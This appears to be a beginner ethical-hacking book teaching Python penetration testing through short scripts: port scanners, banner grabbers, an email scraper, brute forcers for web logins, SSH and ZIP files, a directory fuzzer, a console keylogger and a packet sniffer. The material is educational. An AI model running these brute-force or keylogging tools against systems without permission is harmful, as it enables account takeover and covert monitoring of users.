Banner grabbing is one of the first steps in recon and enumeration. Itβs a technique used to gather information about a target system by connecting to open ports and reading the response β called the βbanner.β This banner often reveals details like the service type, version, and sometimes even the operating system. π
π§Ύ What is a Banner?
A banner is the initial message sent by a service running on a port. For example, an FTP server might respond with its name and version:
220 (vsFTPd 3.0.3)
By grabbing this info, we can identify vulnerabilities or choose the right exploit. π―
π‘ Simple Banner Grabbing Script
import socket
target_ip = "192.168.1.1"
target_port = 21 # FTP port
try:
s = socket.socket()
s.settimeout(2)
s.connect((target_ip, target_port))
banner = s.recv(1024)
print("[+] Banner:", banner.decode().strip())
except:
print("[-] Connection failed")
This script connects to a target IP and port, reads the banner, and prints it out. You can use this method on ports like 21 (FTP), 22 (SSH), 80 (HTTP), 443 (HTTPS), etc. βοΈ
Warning: Always perform banner grabbing on targets you own or have permission to test. Unauthorized scanning can be illegal. π
Writing Hacking Tools
Information Gathering Tools
Hey recon masters! π΅οΈββοΈπ
Before you can hack anything, you need to know what youβre hacking. Thatβs where information gathering comes in β the first step of any penetration test. In this chapter, weβll see how to write Python tools that automate recon and help you discover domains, IPs, emails, and more. π§°
π Why Information Gathering Matters
In ethical hacking, knowing your target is half the battle. By gathering open data (OSINT), you can:
This info helps you choose the right exploits and avoid blind guessing. π―
π Automating Recon with Python
Instead of running dozens of manual commands, Python lets you build scripts to automate:
With a few lines of code and the right libraries, you can build your own recon toolkit. β‘
π οΈ Tools Youβll Build in This Unit
In the next chapters, youβll write scripts to:
By the end, youβll have your own Python-powered recon suite β built by you, for you. π
WHOIS Lookup
Hey recon pros! ππ
One of the easiest ways to start gathering information about a target domain is by doing a WHOIS lookup. It tells you who owns the domain, when it was created, where itβs registered, and sometimes even contact details. π
π What is WHOIS?
WHOIS is a protocol that queries databases to find out βWho isβ responsible for a domain name or an IP address. Ethical hackers use it during the recon phase to:
π Writing a WHOIS Lookup Tool in Python
With Python, you can automate WHOIS queries and integrate them into your
custom recon tools. Here's a basic example using the whois
library:
import whois
domain = "example.com"
info = whois.whois(domain)
print("Domain:", info.domain_name)
print("Registrar:", info.registrar)
print("Creation Date:", info.creation_date)
print("Expiration Date:", info.expiration_date)
Simple, fast, and powerful! π―
Up next, weβll combine this with other tools to map out IPs, DNS records, and subdomains β turning data into real hacking targets. π§ π»
IP & DNS Tracker
Hey network detectives! π΅οΈββοΈπ
After WHOIS lookups, the next step in recon is tracking IP addresses and DNS records. This helps you find where a domain points, map its infrastructure, and sometimes reveal hidden servers or backup domains. π‘
π Why Track IP & DNS?
Tracking IPs and DNS helps ethical hackers:
π Using Python for DNS Lookups
Python makes DNS queries easy using libraries like socket and
dns.resolver. Hereβs a basic example to resolve a domain to its
IP:
import socket
domain = "example.com"
ip = socket.gethostbyname(domain)
print(f"IP address of {domain} is {ip}")
π¦ Tracking DNS Records
Want to see more than just the main IP? Use dns.resolver to
list DNS records:
import dns.resolver
domain = "example.com"
records = dns.resolver.resolve(domain, "A") # 'A' record for IPv4
for rdata in records:
print("IP:", rdata.address)
This technique helps map a targetβs footprint, spot hidden servers, and guide your next scan. π§π‘
Next, letβs dig even deeper by scanning for subdomains! π
Subdomain Scanner
Hey recon hunters! π΅οΈββοΈβ¨
Big websites donβt just run on www.example.com. They often
have lots of subdomains like mail.example.com,
dev.example.com, or api.example.com. Finding these
can reveal hidden services, test environments, or admin panels β perfect
starting points for ethical hacking! π
π± Why Scan for Subdomains?
Subdomains can:
π Writing a Simple Subdomain Scanner in Python
We can automate subdomain discovery using Python and a wordlist. Hereβs a basic script:
import socket
domain = "example.com"
wordlist = ["mail", "dev", "api", "test"]
for sub in wordlist:
subdomain = f"{sub}.{domain}"
try:
ip = socket.gethostbyname(subdomain)
print(f"[+] Found: {subdomain} -> {ip}")
except socket.gaierror:
pass
β‘ This script tries each subdomain and checks if it resolves. If it does β bingo! Youβve discovered a live subdomain to investigate further.
Tip: You can make it stronger by using larger wordlists, adding multithreading, or combining it with DNS brute-forcing tools. π§°π
Email Scraper (using BeautifulSoup & Requests)
Hey data miners! π§π΅οΈββοΈ
During recon, itβs super useful to extract email addresses from websites. These can be used for OSINT, phishing simulations, or just mapping your targetβs digital footprint. Python makes it crazy easy using requests and BeautifulSoup. πβ¨
π Sample Email Scraper Script
import requests
import re
from bs4 import BeautifulSoup
url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, "html.parser")
emails = set(re.findall(r"[\\w\\.-]+@[\\w\\.-]+", soup.get_text()))
for email in emails:
print("[+] Found email:", email)
π― This script pulls all text from the page, uses regex to find anything that looks like an email, and prints it. Great for building your own OSINT tools!
Port & Vulnerability Scanning
Hey cyber defenders! π‘οΈβ‘
Finding open ports is just the start β real ethical hackers go further by checking for known vulnerabilities on those ports. This chapter shows how to combine port scanning with basic vulnerability scanning in Python. π―
π Why Go Beyond Port Scanning?
Open ports tell you where a service is running, but vulnerability scanning helps you learn what might be exploitable. Combining the two helps you find real weaknesses instead of just open doors. πͺβ οΈ
π Simple Port & Version Scanner
Hereβs an example script that connects to ports and grabs banners, which often reveal software versions:
import socket
target = "127.0.0.1"
ports = [21, 22, 80, 443]
for port in ports:
try:
s = socket.socket()
s.settimeout(1)
s.connect((target, port))
banner = s.recv(1024).decode().strip()
print(f"[+] Port {port} is open: {banner}")
except:
print(f"[-] Port {port} is closed or no banner")
s.close()
π― Once you have the banner, you can manually check it against vulnerability databases like CVE details or exploit-db.
π§ Next Level: Automate Vulnerability Checks
For real projects, you can:
This approach turns your script from a simple port scanner into a real pentest helper tool! π§°π
Port Scanner using socket and threading
Hey speed hackers! ππ§°
Port scanning is a classic technique to discover which services are running
on a target system. Python makes this easy with the socket
module β and by adding threading, you can make your scanner
much faster! β‘
π Why Use Threading?
Without threading, your scanner checks one port at a time β slow and boring. Threading lets your script check multiple ports at once, cutting scan time drastically. π§΅β¨
π Sample Multithreaded Port Scanner
import socket
import threading
target = "127.0.0.1"
ports = [21, 22, 23, 80, 443, 3306]
def scan(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((target, port))
if result == 0:
print(f"[+] Port {port} is open")
s.close()
for port in ports:
t = threading.Thread(target=scan, args=(port,))
t.start()
π― This scanner loops over the port list and starts a new thread for each scan β quick, simple, and powerful!
Tip: You can expand it to scan larger port ranges or save results to a file. ππ§
Banner Grabbing
Hey advanced hackers! π§ββοΈβ‘
Banner grabbing isnβt just for finding open ports β itβs a recon technique to identify service versions, software types, and even possible vulnerabilities. In this advanced look, we'll see how to make your banner grabber smarter and more useful for pentesting. π
π‘ Why Advanced Banner Grabbing?
Simple scripts only connect and read the first response. A smarter banner grabber can:
π Example: Grabbing HTTP Banners
Hereβs a Python script that sends an HTTP GET request to get banners from web servers:
import socket
target = "example.com"
port = 80
s = socket.socket()
s.settimeout(2)
s.connect((target, port))
http_request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
s.send(http_request)
response = s.recv(1024)
print("[+] Banner received:")
print(response.decode(errors="ignore"))
π― This way, you get the server header, technologies used (like Apache, nginx), and sometimes even version numbers.
π¦ Next Level: Automate & Save
Expand your script to:
With banner grabbing, you go from "is this port open?" to "what software is running here β and can I find a CVE for it?" π§ π₯
Password Attacks (Brute Force & Dictionary)
Hey code crackers! π§βπ»π
One of the most common real-world attacks is trying to guess a targetβs password β also called password cracking. Python makes it easy to write scripts for brute force attacks and dictionary attacks. Letβs see how they work! π£
π‘ Whatβs the Difference?
π Example: Dictionary Attack Script
Hereβs a simple script that checks each password in a wordlist:
import requests
url = "http://example.com/login"
username = "admin"
with open("wordlist.txt", "r") as f:
for password in f:
password = password.strip()
data = {"username": username, "password": password}
response = requests.post(url, data=data)
if "Welcome" in response.text:
print(f"[+] Password found: {password}")
break
else:
print(f"[-] Tried: {password}")
β οΈ Always test only on systems you own or have permission for. Unauthorized brute force attacks are illegal! π¨
βοΈ Next Level: Brute Force
Instead of trying words from a file, a brute force attack tries all combinations β for example, all 4-digit PINs:
from itertools import product
charset = "0123456789"
length = 4
for combo in product(charset, repeat=length):
pin = "".join(combo)
print("Trying PIN:", pin)
In real hacking, brute force is slow and noisy β but dictionary attacks (using common passwords) can be surprisingly effective. π―
Next, letβs see how to target specific services like SSH or ZIP files! π¦π
SSH Brute Forcer
Hey penetration testers! π§βπ»π
SSH is a common target for brute force attacks because it often protects
critical systems. In this chapter, you'll see how to build a simple
SSH brute forcer in Python using the paramiko
library. Remember: use this only for ethical testing! β οΈ
π What is paramiko?
paramiko is a Python library that lets you make SSH
connections and automate tasks like logging in, executing commands, or brute
forcing passwords.
π Example: SSH Brute Force Script
import paramiko
target_ip = "127.0.0.1"
username = "root"
wordlist = ["1234", "password", "toor", "root"]
for password in wordlist:
password = password.strip()
print(f"[*] Trying password: {password}")
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target_ip, username=username, password=password, timeout=3)
print(f"[+] Success! Password found: {password}")
ssh.close()
break
except paramiko.AuthenticationException:
print("[-] Incorrect password")
except Exception as e:
print(f"[!] Connection error: {e}")
π― This script tries each password in the list until it finds the correct one. For real use, you'd load a bigger wordlist from a file and add more error handling.
β οΈ Note: SSH brute forcing is noisy and can trigger firewalls or IP blocks. Use responsibly and always with permission! π‘οΈ
ZIP File Password Cracker
Hey file busters! ποΈπ₯
Sometimes during pentests, you might come across password-protected ZIP files. With Python, you can write a brute force script to crack them by trying passwords from a wordlist. ππ
π¦ How it works
Weβll use Pythonβs built-in zipfile module to try unlocking
the archive with each password until it works. Simple, but powerful! β‘
π Example: ZIP Password Cracker Script
import zipfile
zip_file = "secret.zip"
wordlist = ["1234", "password", "letmein", "admin"]
with zipfile.ZipFile(zip_file) as zf:
for password in wordlist:
try:
zf.extractall(pwd=password.encode("utf-8"))
print(f"[+] Password found: {password}")
break
except:
print(f"[-] Wrong password: {password}")
π― You can replace the small list with a big dictionary file to increase your chances.
β οΈ Warning: Brute forcing can be slow if the list is large, and should always be done ethically and with permission! π‘οΈ
Wordlist Generators
Hey brute force builders! ππ οΈ
Wordlists are the backbone of dictionary attacks and brute forcing. Instead of downloading huge files, why not generate custom wordlists that fit your target? In this chapter, youβll see how to write your own Python wordlist generators. πβ‘
π§ Why Generate Wordlists?
Custom wordlists can include:
This makes your brute force attacks smarter and more effective! π―
π Example: Simple Wordlist Generator
keywords = ["admin", "pass", "root"]
symbols = ["!", "@", "123"]
with open("wordlist.txt", "w") as file:
for word in keywords:
file.write(word + "\n")
for sym in symbols:
combo = word + sym
file.write(combo + "\n")
π― This script writes basic words and combines them with symbols, creating a small but targeted list.
βοΈ Next Level: Use itertools
With itertools, you can create huge combinations easily:
import itertools
chars = "abc123"
length = 3
for combo in itertools.product(chars, repeat=length):
print("".join(combo))
β οΈ Tip: Be careful! Large combinations can produce millions of entries very quickly. π§¨
Custom wordlists = smarter attacks, faster success. Ready to use them in your brute forcers? π
Web Exploitation Basics
Hey bug hunters! π·οΈπ
The web is full of targets β from login forms to hidden admin panels. In ethical hacking, web exploitation means finding and abusing security flaws in web apps, but always with permission! Letβs look at the basics every hacker should know. π
βοΈ What is Web Exploitation?
Itβs the art of:
π Why Use Python?
Python helps automate boring and repetitive tasks, like:
π¦ Libraries You'll Use
Web exploitation is one of the most creative areas of hacking β you write code, analyze responses, and think like an attacker. Ready to go deeper? Letβs do it! π
Login Form Brute Forcing
Hey form breakers! ππ
Many web apps hide sensitive data behind login forms. With Python, you can automate brute force attacks to guess passwords and test the strength of those forms β but always with permission! β οΈ
π‘ How It Works
The idea is simple:
π Example: Brute Forcing with requests
import requests
url = "http://example.com/login"
username = "admin"
wordlist = ["1234", "admin", "password"]
for password in wordlist:
response = requests.post(url, data={"username": username, "password": password})
if "Welcome" in response.text:
print(f"[+] Password found: {password}")
break
else:
print(f"[-] Tried: {password}")
π― This script stops when it finds the correct password. In real testing, youβd use larger wordlists and better response detection.
β οΈ Ethical Reminder
Brute forcing login forms can overload servers and is illegal without explicit permission. Always test responsibly on your own apps or approved targets! π‘οΈ
Detecting SQL Injection
Hey injection hunters! π§ͺπ
SQL Injection (SQLi) is one of the most common and dangerous web vulnerabilities. Python can help you test web apps automatically by sending crafted inputs and checking for signs of vulnerability. π
π‘ What is SQL Injection?
It happens when an application blindly adds user input into a SQL query β letting attackers change the logic, dump data, or even take over the database! π§¨
π Example: Detecting SQLi with Python
This simple script tests a URL by adding a single quote ' and
checks if the page shows a typical SQL error:
import requests
url = "http://example.com/page?id=1'"
response = requests.get(url)
errors = ["you have an error in your sql syntax", "mysql_fetch", "syntax error"]
for error in errors:
if error.lower() in response.text.lower():
print("[+] Possible SQL Injection found!")
break
else:
print("[-] No SQL error detected.")
π― This is a basic check β real tools test many payloads and analyze responses more deeply.
β οΈ Use Responsibly
Only test your own sites or ones where you have explicit permission. SQLi can cause data leaks or crashes! π‘οΈ
Directory Fuzzing using requests and wordlists
Hey fuzzers! ππ
Directory fuzzing is a powerful technique for discovering hidden
files and folders on web servers. Python makes it easy to
automate this using the requests library and a simple wordlist.
π
π‘ What is Directory Fuzzing?
Itβs about sending lots of HTTP requests to guess paths like
/admin, /backup, or /old. If the
server responds with 200 OK, youβve found something interesting! π§°
π Example: Simple Directory Fuzzer
import requests
url = "http://example.com/"
wordlist = ["admin", "backup", "test"]
for word in wordlist:
full_url = url + word
response = requests.get(full_url)
if response.status_code == 200:
print(f"[+] Found: {full_url}")
else:
print(f"[-] Not found: {full_url}")
π― Replace the small list with a bigger wordlist to improve your chances.
You can also add extensions like .php, .bak, etc.
β οΈ Ethical Reminder
Directory fuzzing can generate lots of traffic. Always do it on your own systems or with permission! π‘οΈ
π Advanced Concepts (Beginner Level)
Automation & Scripting
Hey lazy hackers! ππ€
Real hackers donβt repeat the same boring commands every day β they automate them! With Python, you can script anything from running scans to parsing results and even sending alerts. Letβs see why automation makes you a smarter pentester. πβ‘
π€ Why Automate?
Automation helps you:
π Example: Automate an Nmap Scan
import os
target = "192.168.1.1"
os.system(f"nmap -sV -oN scan.txt {target}")
print("[+] Scan complete! Results saved to scan.txt")
π― This script launches Nmap and saves the output to a file automatically.
β‘ Beyond Scanning
You can write scripts to:
Automation isnβt just about saving effort β itβs about being efficient, fast, and always one step ahead. ππ§
Automating Google Dorks
Hey OSINT wizards! ππ§ββοΈ
Google isnβt just for searching memes β itβs a powerful hacking tool when you know how to use Google Dorks. With Python, you can automate Google searches to find hidden pages, sensitive files, and exposed directories. β‘
π What are Google Dorks?
Google Dorks are advanced search queries like:
They help you discover data most people never see! π§°
π Automating with Python
Hereβs a basic script to open dorks in your browser automatically:
import webbrowser
target = "example.com"
dorks = [
f"site:{target} inurl:admin",
f"site:{target} intitle:login",
f"site:{target} filetype:sql"
]
for dork in dorks:
url = "https://www.google.com/search?q=" + dork
webbrowser.open(url)
print(f"[+] Opened: {url}")
π― Instead of typing dorks one by one, this script opens them instantly β saving time during recon!
β οΈ Use Carefully
Google may block you if you run too many automated searches. Always use responsibly and add delays if needed! π‘οΈ
Automating Recon Tools (theHarvester, etc.)
Hey recon warriors! π΅οΈββοΈβ‘
Manual recon can be slow and repetitive. Why not use Python to
automate your favorite recon tools like
theHarvester, sublist3r, or whatweb?
Save time and get results faster! ππ
π€ Why Automate?
Instead of running tools one by one, your script can:
π Example: Automate theHarvester
import os
domain = "example.com"
command = f"theHarvester -d {domain} -l 100 -b google,bing -f harvester_report.html"
os.system(command)
print("[+] Recon complete! Report saved to harvester_report.html")
π― This script runs theHarvester, searches multiple sources, and saves results to HTML.
π¦ Go Further
You can also:
With automation, your recon becomes faster, consistent, and repeatable β just like real-world pentesters do! π‘π₯
Working with APIs
Hey automation hackers! π§βπ»π
APIs are like secret doors into apps, tools, and databases. In ethical hacking, you can use APIs to collect data, check vulnerabilities, or even automate entire workflows. Letβs see how Python makes API hacking easy! β‘
π€ What is an API?
API stands for Application Programming Interface. It lets software talk to other software β so instead of scraping messy HTML, you get clean, structured data. π§°
π Example: Calling an API with Python
import requests
url = "https://api.example.com/data"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print("[+] Received data:", data)
else:
print("[-] Request failed!")
π― The requests library makes it super simple to send GET or
POST requests and handle JSON responses.
π‘ Why APIs Rock for Hackers
APIs let your Python scripts work smarter, not harder β turning them into real hacking assistants! ππ»
Working with APIs
Hey automation hackers! π§βπ»π
APIs are like secret doors into apps, tools, and databases. In ethical hacking, you can use APIs to collect data, check vulnerabilities, or even automate entire workflows. Letβs see how Python makes API hacking easy! β‘
π€ What is an API?
API stands for Application Programming Interface. It lets software talk to other software β so instead of scraping messy HTML, you get clean, structured data. π§°
π Example: Calling an API with Python
import requests
url = "https://api.example.com/data"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print("[+] Received data:", data)
else:
print("[-] Request failed!")
π― The requests library makes it super simple to send GET or
POST requests and handle JSON responses.
π‘ Why APIs Rock for Hackers
APIs let your Python scripts work smarter, not harder β turning them into real hacking assistants! ππ»
Using VirusTotal API
Hey malware hunters! ππ
VirusTotal is one of the most popular online tools for checking files and URLs against dozens of antivirus engines. With the VirusTotal API, you can automate this process right inside your Python scripts! π
π Why Use the API?
Instead of manually uploading each file or URL:
π Example: Scan a URL with VirusTotal API
import requests
api_key = "YOUR_API_KEY"
url_to_scan = "http://example.com"
params = {"apikey": api_key, "url": url_to_scan}
response = requests.post("https://www.virustotal.com/vtapi/v2/url/scan", data=params)
if response.status_code == 200:
result = response.json()
print("[+] Scan submitted! Scan ID:", result["scan_id"])
else:
print("[-] Request failed!")
π― Replace YOUR_API_KEY with your real key from VirusTotal
(you can get it free by registering).
π¦ Next Step: Fetch Report
After submitting, you can check the scan report:
params = {"apikey": api_key, "resource": result["scan_id"]}
report = requests.get("https://www.virustotal.com/vtapi/v2/url/report", params=params)
print(report.json())
β οΈ Always read VirusTotalβs terms and rate limits β and only scan data youβre allowed to! π‘οΈ
Telegram Bot for Alerts
Hey automation hackers! ππ’
Imagine running a scan or brute force script β and getting a Telegram message when it finds something. With Python, you can build your own Telegram bot to send alerts directly to your phone! π
π€ Why Use Telegram?
Because itβs free, fast, and has an awesome API. Perfect for getting updates while your tools run in the background. β‘
π Example: Send a Message with Python
First, create a bot with BotFather and get your BOT_TOKEN. Then:
import requests
bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"
message = "π₯ Scan finished! Found something interesting."
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": message}
response = requests.post(url, data=payload)
if response.status_code == 200:
print("[+] Message sent!")
else:
print("[-] Failed to send message.")
π― Replace YOUR_BOT_TOKEN and YOUR_CHAT_ID with
your real values.
π¦ What Can You Automate?
Now your hacking tools can literally talk to you! π€π²
π― Real-World Projects
Build a Simple Keylogger (for learning purpose only)
Hey ethical hackers! π§βπ»π
Keyloggers record every keystroke on a machine β theyβre powerful for understanding how malware works, but remember: use them only in your own lab or with explicit permission. β οΈ
π‘ What is a Keylogger?
A keylogger captures keys pressed by the user. Attackers use them to steal credentials; ethical hackers use them to learn, test defenses, or build anti-keylogging tools. π‘οΈ
π Example: Python Keylogger
We can use the pynput library to listen to keyboard events:
from pynput import keyboard
def on_press(key):
try:
print(f"Key pressed: {key.char}")
except AttributeError:
print(f"Special key: {key}")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
π― This script prints each key to the console. In real projects, you'd write them to a file instead.
β οΈ Ethical Reminder
Never run a keylogger on someone else's machine without consent. Use it to understand how attackers work β so you can build defenses! π‘οΈπ§
Build a Network Sniffer
Hey packet ninjas! π§βπ»π‘
Network sniffers capture and analyze packets moving through the network. Theyβre great for troubleshooting, analyzing protocols, or learning how data flows β and yes, theyβre a classic tool in a hackerβs toolbox. β‘
π‘ What is a Sniffer?
A sniffer listens to network traffic on an interface. Ethical hackers use it to see unencrypted data, detect suspicious activity, or understand protocols. π§°
π Example: Python Packet Sniffer
Using the scapy library, you can capture and print packet
summaries easily:
from scapy.all import sniff
def show_packet(packet):
print(packet.summary())
sniff(iface="eth0", prn=show_packet, count=10)
π― Replace eth0 with your actual network interface. This
script captures 10 packets and prints a summary of each.
β οΈ Ethical Reminder
Sniffing traffic on networks you donβt own or control is illegal. Always use your own lab, test network, or permission-based environment! π‘οΈ
Ready to see what really travels over the wire? Letβs sniff some packets! ππ‘
Build a Basic Vulnerability Scanner
Hey vulnerability hunters! π§βπ»π‘οΈ
A vulnerability scanner checks systems for known weaknesses β like outdated software or default credentials. Letβs build a simple Python scanner to get started! π
π‘ What Does It Do?
Our scanner will:
Itβs basic β but it teaches the foundations of real scanners! π§°
π Example: Python Vulnerability Scanner
import socket
target = "127.0.0.1"
ports = [21, 22, 80]
vulnerable_versions = ["vsFTPd 2.3.4", "OpenSSH 7.2p2"]
for port in ports:
try:
s = socket.socket()
s.settimeout(2)
s.connect((target, port))
banner = s.recv(1024).decode().strip()
print(f"[+] Port {port} banner: {banner}")
for vuln in vulnerable_versions:
if vuln in banner:
print(f"[!] Vulnerable service detected: {banner}")
except:
print(f"[-] Port {port} closed or no banner")
s.close()
π― This scanner checks banners for known vulnerable strings. You can expand it with bigger lists, CVE checks, or API integrations later!
β οΈ Ethical Reminder
Only scan systems you own or have permission to test. Unauthorized scanning can break things or trigger alerts! π‘οΈ
Build a Telegram-Based Alert Bot for Pentest Results
Hey automation pros! π€π’
Imagine running a scan or brute force script and instantly getting the results on your phone via Telegram. With Python, itβs easy to build your own alert bot that keeps you updated wherever you are! π
π‘ Why Build an Alert Bot?
Instead of checking logs manually, your script can:
π Example: Send Results via Telegram
First, create a bot with BotFather and get your BOT_TOKEN and
chat_id. Then:
import requests
bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"
message = "β
Pentest completed! Found open ports on target."
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": message}
response = requests.post(url, data=payload)
if response.status_code == 200:
print("[+] Alert sent!")
else:
print("[-] Failed to send alert.")
π― Replace placeholders with your real values. Now your Python script can send real-time alerts to your Telegram!
β‘ Next Level Ideas
Now your tools donβt just run β they talk back to you. Hacker automation level: unlocked! ππ²π
π Wrapping Up
How to Practice Legally
Hey ethical hackers! π‘οΈπ
Before you start scanning, fuzzing, or brute forcing, itβs critical to know where you can legally practice. Ethical hacking means hacking with permission β and staying on the right side of the law. βοΈβ¨
β Get Explicit Permission
Only test systems you:
Testing random websites or IPs without consent can lead to legal trouble! π«
π§ͺ Use Legal Labs & Platforms
Practice safely on platforms built for hacking:
π Understand the Rules
Even legal platforms have scope and rules. Always check:
π― Ethical hacking isnβt just about skills β itβs about using them responsibly. Hack smart, hack safe, and hack legally! ππ‘οΈπ
Practice Labs (HackTheBox, TryHackMe, WebGoat, DVWA)
Hey hands-on hackers! π§βπ»π§
The best way to master ethical hacking isnβt just by reading or coding β itβs by practicing in real, controlled environments. Letβs explore some of the most popular legal labs every pentester should know! π
π§ͺ Hack The Box (HTB)
One of the most famous platforms where you hack into intentionally vulnerable machines. Youβll find everything from beginner-friendly boxes to advanced challenges that feel like real-world pentests. π΄ββ οΈ
π§° TryHackMe
Great for step-by-step learning. Rooms cover topics like web hacking, privilege escalation, and network scanning β often with detailed guides and walkthroughs. π§
π‘οΈ WebGoat
A deliberately insecure web app by OWASP, perfect for learning web vulnerabilities like XSS, SQLi, and more. Test your scripts or practice manual attacks safely. π
π¦ DVWA (Damn Vulnerable Web Application)
Simple, lightweight, and built to break! Great for brute force, injection, and other web exploitation basics. You can even run it locally on your machine. π»
π― Practicing in these labs helps you build real hacking skills β safely and legally. Set up your environment, write your scripts, and start exploring! ππ₯
Responsible Disclosure
Hey ethical hackers! π§βπ»π€
Finding a vulnerability is exciting β but what you do next matters even more. Responsible disclosure means reporting security issues safely, legally, and ethically to help fix them without putting anyone at risk. π‘οΈβ‘
β What is Responsible Disclosure?
Itβs the process of:
π¦ Why It Matters
Responsible disclosure:
βοΈ Tips for Good Reporting
π― Remember: ethical hacking isnβt just about finding flaws β itβs about helping fix them. Thatβs what makes you a real white hat! ππ‘οΈπ
Write Reports
Hey pro pentesters! π§βπ»π
Finding vulnerabilities is important β but your work isnβt done until you can communicate your findings clearly. Writing good reports turns raw data into valuable insight for your clients or team. π‘οΈβ¨
π¦ Why Reports Matter
Reports help:
βοΈ What to Include
π― Tips for Great Reports
Good reporting doesnβt just show you can hack β it shows you can think, explain, and help others stay secure. Thatβs what makes you truly professional! ππ»β
What Next?
Hey future cyber pros! π§βπ»π
Youβve built tools, automated scans, and explored real-world hacking labs β so whatβs next on your journey? Ethical hacking is all about continuous learning and evolving your skills. Letβs see where you can go from here! π±β¨
π¦ Learn Advanced Python
Dive deeper into topics like:
π§° Explore Frameworks & Tools
Start working with powerful libraries and frameworks like:
π Get Certified
Consider certifications like:
π― Remember: the hacking journey never truly ends β thereβs always a new tool to build, a vulnerability to study, or a system to secure. Keep learning, keep practicing, and stay curious! ππ»π₯
Learning Advanced Python
Hey Python ninjas! ππ§
By now, you know how to write basic scripts and tools β but to build powerful, professional hacking tools, you need to level up your Python game! Letβs see what advanced Python skills can take you from scripting to real software development. π
π¦ Object-Oriented Programming (OOP)
Organize your tools with classes and objects to make them modular, maintainable, and scalable. Great for building bigger projects like scanners or bots. π§°
β‘ Async & Multithreading
Speed up your tools! Use:
π Writing Custom Modules
Turn repeated code into modules you can import, share, or reuse in other projects. Makes your toolkit cleaner and more professional! β¨
π§ͺ Advanced Libraries
Explore powerful libraries for pentesting, networking, and automation like:
π― Learning advanced Python doesnβt just make you a better coder β it makes you a better hacker by giving you the power to build smarter tools. ππ»π₯
Moving to Frameworks (Scapy, Metasploit Automation)
Hey advanced hackers! π§βπ»π§
Basic scripts are great β but if you want to build real-world tools, itβs time to explore powerful frameworks like Scapy and Metasploit. These can help you craft packets, automate exploits, and supercharge your hacking skills! π
β‘ Why Use Frameworks?
π Scapy: Packet Crafting & Sniffing
Scapy lets you build, send, sniff, and analyze custom packets in Python:
from scapy.all import *
packet = IP(dst="example.com")/ICMP()
response = sr1(packet)
print(response.summary())
π― Perfect for network scanning, fuzzing, and learning how protocols really work!
π§° Metasploit Automation
Metasploit isnβt just a GUI tool β you can automate it with Python (e.g.,
via msfrpc) to:
β οΈ Use responsibly! Automating exploits is powerful but risky β always test in labs or with permission. π‘οΈ
π― Frameworks turn you from a script user into a tool builder β unlocking advanced pentesting skills! ππ₯
Getting Certified (CEH, OSCP, etc.)
Hey future professionals! π§βπ»π
Learning Python and practicing in labs is awesome β but if you want to prove your skills to employers or clients, certifications can open doors. Letβs see why certs like CEH and OSCP matter and what they cover! π
π Why Get Certified?
β‘ Popular Certifications
π§° How Python Helps
Your Python knowledge can give you an edge by:
π― Remember: a certificate alone doesnβt make you a hacker β practice, projects, and continuous learning do. But certs help you show the world what you know! ππ»π₯
π Bonus
Cheat Sheet of Python Commands for Pentesters
Hey quick-reference ninjas! π§βπ»β‘
When youβre in the middle of a test, it helps to have a handy cheat sheet of Python commands and code snippets. Hereβs a quick list every ethical hacker and pentester can use to save time! ππ
π§ Network Basics
# Get IP of a domain
import socket
socket.gethostbyname("example.com")
# Simple port scan
s = socket.socket()
s.connect(("127.0.0.1", 80))
π‘ HTTP Requests
import requests
response = requests.get("http://example.com")
print(response.text)
# POST request
requests.post("http://example.com/login", data={"u":"admin","p":"1234"})
π§° Banner Grabbing
s.recv(1024).decode()
π Parsing HTML
from bs4 import BeautifulSoup
soup = BeautifulSoup(response.text, "html.parser")
print(soup.title.text)
π¦ File Handling
# Read lines from file
with open("file.txt") as f:
lines = f.readlines()
β‘ Loop & Conditions
for i in range(10):
if i % 2 == 0:
print(i)
π― This cheat sheet helps you remember common tasks while coding your tools, automating scans, or writing scripts during a pentest. Quick, simple, and hacker-approved! ππ»π₯
List of 20 Python Security Tools with Usage
Hey tool lovers! π οΈπ
Python has an incredible ecosystem for cybersecurity. Hereβs a quick guide to 20 powerful Python security tools you can explore, along with what theyβre used for. Perfect for inspiration, automation, or building your own toolkit! π
π Information Gathering
π§ͺ Vulnerability Scanning & Exploits
β‘ Network & Packet Tools
π Password Attacks & Cracking
π¦ Web & Automation Tools
π‘οΈ Defensive & Analysis
π― Explore these tools, study their code, and get inspired to write your own. Python makes it easier than ever to build tools tailored to your workflow! ππ»π₯
Interview Questions & Career Path
Hey future cybersecurity pros! π§βπ»π
Mastering Python for pentesting is just the start β next comes turning your skills into a real job! Letβs look at common interview questions and how you can build your career path in ethical hacking. π‘οΈβ¨
π‘ Common Python & Security Interview Questions
π§° Building Your Career Path
π― Interviews arenβt just about right answers β theyβre about showing passion, curiosity, and real-world practice. Keep building, keep coding, and stay hungry to learn! ππ»π₯
FAQ
What is Python for Penetration Testing and who should read this book?
Python for Penetration Testing is a comprehensive guide that teaches ethical hacking and cybersecurity techniques using Python. This book is ideal for beginners, cybersecurity enthusiasts, and IT professionals who want to automate penetration testing tasks and enhance security skills.
Which Python concepts are covered in the book for penetration testing?
The book covers Python basics such as variables, loops, functions, and classes, and advanced topics including network programming, web scraping, socket programming, automation scripts, and building hacking tools for penetration testing.
Do I need prior hacking knowledge to use this book?
No prior hacking experience is required. This book is designed for beginners, providing step-by-step instructions to learn both Python programming and practical penetration testing techniques.
Which operating systems are supported for practicing Python penetration testing?
You can practice all examples and scripts on major operating systems including Windows, Linux distributions (Kali Linux recommended), and macOS. The book provides instructions compatible with each platform.
What types of penetration testing tasks can I perform after learning from this book?
After studying this book, you can perform tasks such as network scanning, vulnerability assessment, brute-force attacks, password cracking automation, web application testing, and writing custom Python scripts to support ethical hacking activities.
Are the Python scripts and tools in this book safe to use?
